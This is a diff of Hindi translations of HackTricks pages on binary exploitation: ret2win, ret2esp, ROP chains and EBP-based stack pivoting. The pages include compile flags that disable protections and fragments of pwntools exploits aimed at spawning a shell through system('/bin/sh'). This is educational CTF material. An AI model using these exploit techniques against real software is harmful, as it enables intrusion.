> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल `win` नामक एक फ़ंक्शन को कॉल करना है (ROP चेन में `win` का पता stdin से कॉल करते हुए प्राप्त करना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है।
|
||||
|
||||
### सीधे libc का उपयोग क्यों न करें?
|
||||
|
||||
आमतौर पर ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटरों को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
आमतौर पर ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
**क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है**, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को **`jmp esp`** या **`call esp`** इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक ओवरराइटेड EIP के बाद रखा जाता है। जब `ret` इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, ठीक उसी जगह जहां शेलकोड संग्रहीत है।
|
||||
|
||||
यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए जाने वाले `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) सक्रिय होने पर, किसी को इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/) को हराने की आवश्यकता हो सकती है)।
|
||||
यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा लाइब्रेरी में पाए जाने वाले `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) सक्रिय होने पर, आपको इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) को हराने की आवश्यकता हो सकती है)।
|
||||
|
||||
इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड** को रखने में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि कार्य के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड कार्य के स्टैक के मध्य में रखा गया हो।
|
||||
इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड रखने** में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि फ़ंक्शन के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड फ़ंक्शन के स्टैक के मध्य में रखा गया हो।
|
||||
|
||||
### स्थान की कमी
|
||||
|
||||
@ -52,7 +52,7 @@ You can find an example here: [https://ir0nstone.gitbook.io/notes/types/stack/re
|
||||
## Protections
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): यदि स्टैक निष्पादन योग्य नहीं है तो यह मदद नहीं करेगा क्योंकि हमें शेलकोड को स्टैक में रखना है और इसे निष्पादित करने के लिए कूदना है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): ये esp या किसी अन्य रजिस्टर पर कूदने के लिए एक निर्देश खोजने को कठिन बना सकते हैं।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): ये esp या किसी अन्य रजिस्टर पर कूदने के लिए एक निर्देश खोजने को कठिन बना सकते हैं।
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ret2win** चुनौतियाँ **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो **बाइनरी शोषण** से संबंधित हैं। लक्ष्य एक दिए गए बाइनरी में एक कमजोरियों का शोषण करना है ताकि बाइनरी के भीतर एक विशिष्ट, अप्रयुक्त फ़ंक्शन को निष्पादित किया जा सके, जिसे अक्सर `win`, `flag`, आदि जैसे नाम दिए जाते हैं। जब इस फ़ंक्शन को निष्पादित किया जाता है, तो यह आमतौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आमतौर पर स्टैक पर **रिटर्न पता** को ओवरराइट करने में शामिल होती है ताकि निष्पादन प्रवाह को इच्छित फ़ंक्शन की ओर मोड़ा जा सके। यहाँ एक अधिक विस्तृत व्याख्या है उदाहरणों के साथ:
|
||||
**Ret2win** चुनौतियाँ **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो **बाइनरी शोषण** से संबंधित हैं। लक्ष्य एक दिए गए बाइनरी में एक कमजोरियों का शोषण करना है ताकि बाइनरी के भीतर एक विशिष्ट, अप्रयुक्त फ़ंक्शन को निष्पादित किया जा सके, जिसे अक्सर `win`, `flag`, आदि जैसे नामों से जाना जाता है। जब इस फ़ंक्शन को निष्पादित किया जाता है, तो यह आमतौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आमतौर पर स्टैक पर **रिटर्न पता** को ओवरराइट करने में शामिल होती है ताकि निष्पादन प्रवाह को इच्छित फ़ंक्शन की ओर मोड़ा जा सके। यहाँ एक अधिक विस्तृत व्याख्या है उदाहरणों के साथ:
|
||||
|
||||
### C Example
|
||||
|
||||
@ -32,14 +32,14 @@ return 0;
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-m32`: प्रोग्राम को 32-बिट बाइनरी के रूप में संकलित करें (यह वैकल्पिक है लेकिन CTF चुनौतियों में सामान्य है)।
|
||||
- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को निष्क्रिय करें।
|
||||
- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।
|
||||
- `-z execstack`: स्टैक पर कोड के निष्पादन की अनुमति दें।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को निष्क्रिय करें ताकि `win` फ़ंक्शन का पता न बदले।
|
||||
- `-no-pie`: सुनिश्चित करने के लिए स्थिति स्वतंत्र निष्पादन को अक्षम करें कि `win` फ़ंक्शन का पता नहीं बदलता।
|
||||
- `-o vulnerable`: आउटपुट फ़ाइल का नाम `vulnerable` रखें।
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगी और रिटर्न पते को `win` फ़ंक्शन के पते से ओवरराइट करेगी।
|
||||
शोषण के लिए, हम **pwntools** का उपयोग करेंगे, जो शोषण लिखने के लिए एक शक्तिशाली CTF ढांचा है। शोषण स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगा और लौटने के पते को `win` फ़ंक्शन के पते से अधिलेखित करेगा।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -69,8 +69,8 @@ Python स्क्रिप्ट एक सावधानीपूर्व
|
||||
|
||||
## सुरक्षा
|
||||
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड हुआ है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट्स का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पते को प्राप्त करने का **1/16 मौका** (1 निबल) होता है।
|
||||
- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं होगा।
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट्स का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पता प्राप्त करने का **1/16 मौका** (1 निबल) होता है।
|
||||
- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं होगा।
|
||||
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे **No-Execute (NX)** या **Data Execution Prevention (DEP)** को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** के रूप में जाना जाता है। प्रत्येक gadget आमतौर पर `ret` निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर एक payload बना सकता है जो मनचाहे संचालन को निष्पादित करता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार करता है।
|
||||
**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे **No-Execute (NX)** या **Data Execution Prevention (DEP)** को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** कहा जाता है। प्रत्येक gadget आमतौर पर एक `ret` निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर एक payload बना सकता है जो मनचाहे संचालन करने के लिए, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार करता है।
|
||||
|
||||
### ROP कैसे काम करता है
|
||||
|
||||
1. **नियंत्रण प्रवाह हाइजैकिंग**: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाइजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके।
|
||||
2. **Gadget चेनिंग**: फिर हमलावर सावधानी से इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है।
|
||||
2. **Gadget चेनिंग**: फिर हमलावर सावधानीपूर्वक इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है।
|
||||
3. **Payload निष्पादन**: जब संवेदनशील फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है।
|
||||
|
||||
### उपकरण
|
||||
@ -20,14 +20,14 @@
|
||||
|
||||
### **x86 (32-बिट) कॉलिंग सम्मेलन**
|
||||
|
||||
- **cdecl**: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को उल्टे क्रम में (दाएं से बाएं) स्टैक पर धकेला जाता है। **तर्कों को दाएं से बाएं स्टैक पर धकेला जाता है।**
|
||||
- **cdecl**: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को स्टैक पर उल्टे क्रम में (दाएं से बाएं) धकेला जाता है। **तर्कों को दाएं से बाएं स्टैक पर धकेला जाता है।**
|
||||
- **stdcall**: cdecl के समान, लेकिन callee स्टैक को साफ करने के लिए जिम्मेदार होता है।
|
||||
|
||||
### **Gadgets खोजना**
|
||||
|
||||
पहले, चलिए मान लेते हैं कि हमने बाइनरी या इसके लोड की गई लाइब्रेरी में आवश्यक gadgets की पहचान की है। जिन gadgets में हमारी रुचि है, वे हैं:
|
||||
|
||||
- `pop eax; ret`: यह gadget स्टैक के शीर्ष मान को `EAX` रजिस्टर में डालता है और फिर लौटता है, जिससे हमें `EAX` को नियंत्रित करने की अनुमति मिलती है।
|
||||
- `pop eax; ret`: यह gadget स्टैक के शीर्ष मान को `EAX` रजिस्टर में पॉप करता है और फिर लौटता है, जिससे हमें `EAX` को नियंत्रित करने की अनुमति मिलती है।
|
||||
- `pop ebx; ret`: ऊपर के समान, लेकिन `EBX` रजिस्टर के लिए, जिससे `EBX` पर नियंत्रण प्राप्त होता है।
|
||||
- `mov [ebx], eax; ret`: `EAX` में मान को `EBX` द्वारा इंगित मेमोरी स्थान पर स्थानांतरित करता है और फिर लौटता है। इसे अक्सर **write-what-where gadget** कहा जाता है।
|
||||
- इसके अतिरिक्त, हमारे पास `system()` फ़ंक्शन का पता उपलब्ध है।
|
||||
@ -37,7 +37,7 @@
|
||||
**pwntools** का उपयोग करते हुए, हम ROP चेन निष्पादन के लिए स्टैक को इस प्रकार तैयार करते हैं जिसका लक्ष्य `system('/bin/sh')` को निष्पादित करना है, ध्यान दें कि चेन इस प्रकार शुरू होती है:
|
||||
|
||||
1. संरेखण उद्देश्यों के लिए एक `ret` निर्देश (वैकल्पिक)
|
||||
2. `system` फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी [**Ret2lib**](ret2lib/) में)
|
||||
2. `system` फ़ंक्शन का पता (मानते हुए ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी [**Ret2lib**](ret2lib/index.html) में)
|
||||
3. `system()` से लौटने के पते के लिए प्लेसहोल्डर
|
||||
4. `"/bin/sh"` स्ट्रिंग का पता (system फ़ंक्शन के लिए पैरामीटर)
|
||||
```python
|
||||
@ -77,22 +77,22 @@ p.interactive()
|
||||
|
||||
### **x64 (64-bit) Calling conventions**
|
||||
|
||||
- **System V AMD64 ABI** कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ **पहले छह पूर्णांक या पॉइंटर तर्कों को रजिस्टर `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9`** में पास किया जाता है। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है।
|
||||
- **Windows x64** कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है।
|
||||
- **Registers**: 64-बिट रजिस्टर में `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, और `R8` से `R15` शामिल हैं।
|
||||
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
|
||||
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
|
||||
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
|
||||
|
||||
#### **Finding Gadgets**
|
||||
|
||||
हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** को तर्क के रूप में **"/bin/sh"** स्ट्रिंग पास किया जा सके) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है:
|
||||
हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** के लिए **"/bin/sh"** स्ट्रिंग को एक तर्क के रूप में पास किया जा सके) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है:
|
||||
|
||||
- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर रिटर्न करता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक।
|
||||
- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर लौटता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक।
|
||||
- **ret**: एक साधारण रिटर्न, कुछ परिदृश्यों में स्टैक संरेखण के लिए उपयोगी।
|
||||
|
||||
और हमें **system()** फ़ंक्शन का पता है।
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
नीचे एक उदाहरण है जो **pwntools** का उपयोग करके **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है:
|
||||
नीचे एक उदाहरण है जो **pwntools** का उपयोग करके **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करने का प्रयास करता है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -129,23 +129,23 @@ p.interactive()
|
||||
```
|
||||
इस उदाहरण में:
|
||||
|
||||
- हम **`pop rdi; ret`** गैजेट का उपयोग **`RDI`** को **`"/bin/sh"`** के पते पर सेट करने के लिए करते हैं।
|
||||
- हम **`pop rdi; ret`** गैजेट का उपयोग करते हैं ताकि **`RDI`** को **`"/bin/sh"`** के पते पर सेट किया जा सके।
|
||||
- **`RDI`** सेट करने के बाद हम सीधे **`system()`** पर कूदते हैं, जिसमें **system()** का पता श्रृंखला में होता है।
|
||||
- यदि लक्षित वातावरण की आवश्यकता हो, तो संरेखण के लिए **`ret_gadget`** का उपयोग किया जाता है, जो **x64** में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है।
|
||||
- यदि लक्षित वातावरण को इसकी आवश्यकता होती है, तो संरेखण के लिए **`ret_gadget`** का उपयोग किया जाता है, जो **x64** में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है।
|
||||
|
||||
### स्टैक संरेखण
|
||||
|
||||
**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **stack 16-byte aligned** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE instructions** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP chain** में **system** जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, अपने ROP श्रृंखला में **system** को कॉल करने से पहले बस एक **ret gadget** जोड़ें।
|
||||
**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **stack 16-byte aligned** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE instructions** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP chain** में **system** जैसी कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, अपने ROP श्रृंखला में **system** को कॉल करने से पहले बस एक **ret gadget** जोड़ें।
|
||||
|
||||
## x86 बनाम x64 मुख्य अंतर
|
||||
|
||||
> [!TIP]
|
||||
> चूंकि x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है, इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ने में अधिक जटिलता हो सकती है क्योंकि रजिस्टर की संख्या और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पते के स्थान ने विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान की हैं।
|
||||
> चूंकि x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है, इसलिए यह अक्सर सरल फ़ंक्शन कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट को खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या बढ़ जाती है और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पते के स्थान ने विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान की हैं।
|
||||
|
||||
## सुरक्षा
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
|
||||
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
@ -155,7 +155,7 @@ p.interactive()
|
||||
|
||||
ध्यान दें कि ROP केवल मनमाने कोड को निष्पादित करने के लिए एक तकनीक है। ROP के आधार पर कई Ret2XXX तकनीकें विकसित की गई हैं:
|
||||
|
||||
- **Ret2lib**: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने कार्यों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे `system('/bin/sh')`।
|
||||
- **Ret2lib**: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने फ़ंक्शनों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे `system('/bin/sh')`।
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
यह तकनीक **Base Pointer (EBP)** को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि EBP रजिस्टर और `leave; ret` निर्देश अनुक्रम का सावधानीपूर्वक उपयोग करके कई कार्यों के निष्पादन को श्रृंखला में जोड़ा जा सके।
|
||||
यह तकनीक **Base Pointer (EBP)** को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि EBP रजिस्टर और `leave; ret` निर्देश अनुक्रम के सावधानीपूर्वक उपयोग के माध्यम से कई कार्यों के निष्पादन को श्रृंखला में जोड़ा जा सके।
|
||||
|
||||
याद दिलाने के लिए, **`leave`** का मूल अर्थ है:
|
||||
```
|
||||
@ -12,48 +12,48 @@ mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
और चूंकि **EBP स्टैक में** EIP से पहले है, इसलिए इसे नियंत्रित करना संभव है स्टैक को नियंत्रित करके।
|
||||
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
यह तकनीक विशेष रूप से उपयोगी है जब आप **EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है**। यह कार्यों के व्यवहार का लाभ उठाता है जब वे निष्पादन समाप्त करते हैं।
|
||||
यह तकनीक विशेष रूप से उपयोगी है जब आप **EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है**। यह कार्यों के समाप्त होने पर उनके व्यवहार का लाभ उठाती है।
|
||||
|
||||
यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **फर्जी EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स `pop` ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही `fvuln` लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला `pop` ऑपरेशन ESP को 4 से घटाता है, **जिससे यह प्रभावी रूप से एक पते की ओर इशारा करता है जिसे हमलावर ने वहां स्टोर किया है।**\
|
||||
ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह जहां ESP जाने वाला है, जहां आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है।
|
||||
यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **फर्जी EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहाँ आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स `pop` ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही `fvuln` लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला `pop` ऑपरेशन ESP को 4 से घटाता है, **जिससे यह उस पते की ओर इशारा करता है जिसे हमलावर ने वहाँ स्टोर किया है।**\
|
||||
ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह जहाँ ESP जाने वाला है, जहाँ आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है।
|
||||
|
||||
#### एक्सप्लॉइट निर्माण
|
||||
#### Exploit Construction
|
||||
|
||||
पहले आपको एक **पता जानने की आवश्यकता है जहां आप मनमाना डेटा / पते लिख सकते हैं**। ESP यहां इशारा करेगा और **पहला `ret` चलाएगा**।
|
||||
पहले आपको एक **पता जानने की आवश्यकता है जहाँ आप मनमाना डेटा / पते लिख सकते हैं**। ESP यहाँ इशारा करेगा और **पहला `ret` चलाएगा**।
|
||||
|
||||
फिर, आपको उस पते के बारे में जानने की आवश्यकता है जिसका उपयोग `ret` द्वारा **मनमाना कोड निष्पादित करने के लिए किया जाएगा**। आप उपयोग कर सकते हैं:
|
||||
|
||||
- एक मान्य [**ONE_GADGET**](https://github.com/david942j/one_gadget) पता।
|
||||
- **`system()`** का पता उसके बाद **4 जंक बाइट्स** और `"/bin/sh"` का पता (x86 बिट्स)।
|
||||
- एक **`jump esp;`** गैजेट ([**ret2esp**](ret2esp-ret2reg.md)) का पता उसके बाद निष्पादित करने के लिए **शेलकोड**।
|
||||
- एक **`jump esp;`** गैजेट ([**ret2esp**](ret2esp-ret2reg.md)) का पता उसके बाद **शेलकोड** को निष्पादित करने के लिए।
|
||||
- कुछ [**ROP**](rop-return-oriented-programing.md) श्रृंखला
|
||||
|
||||
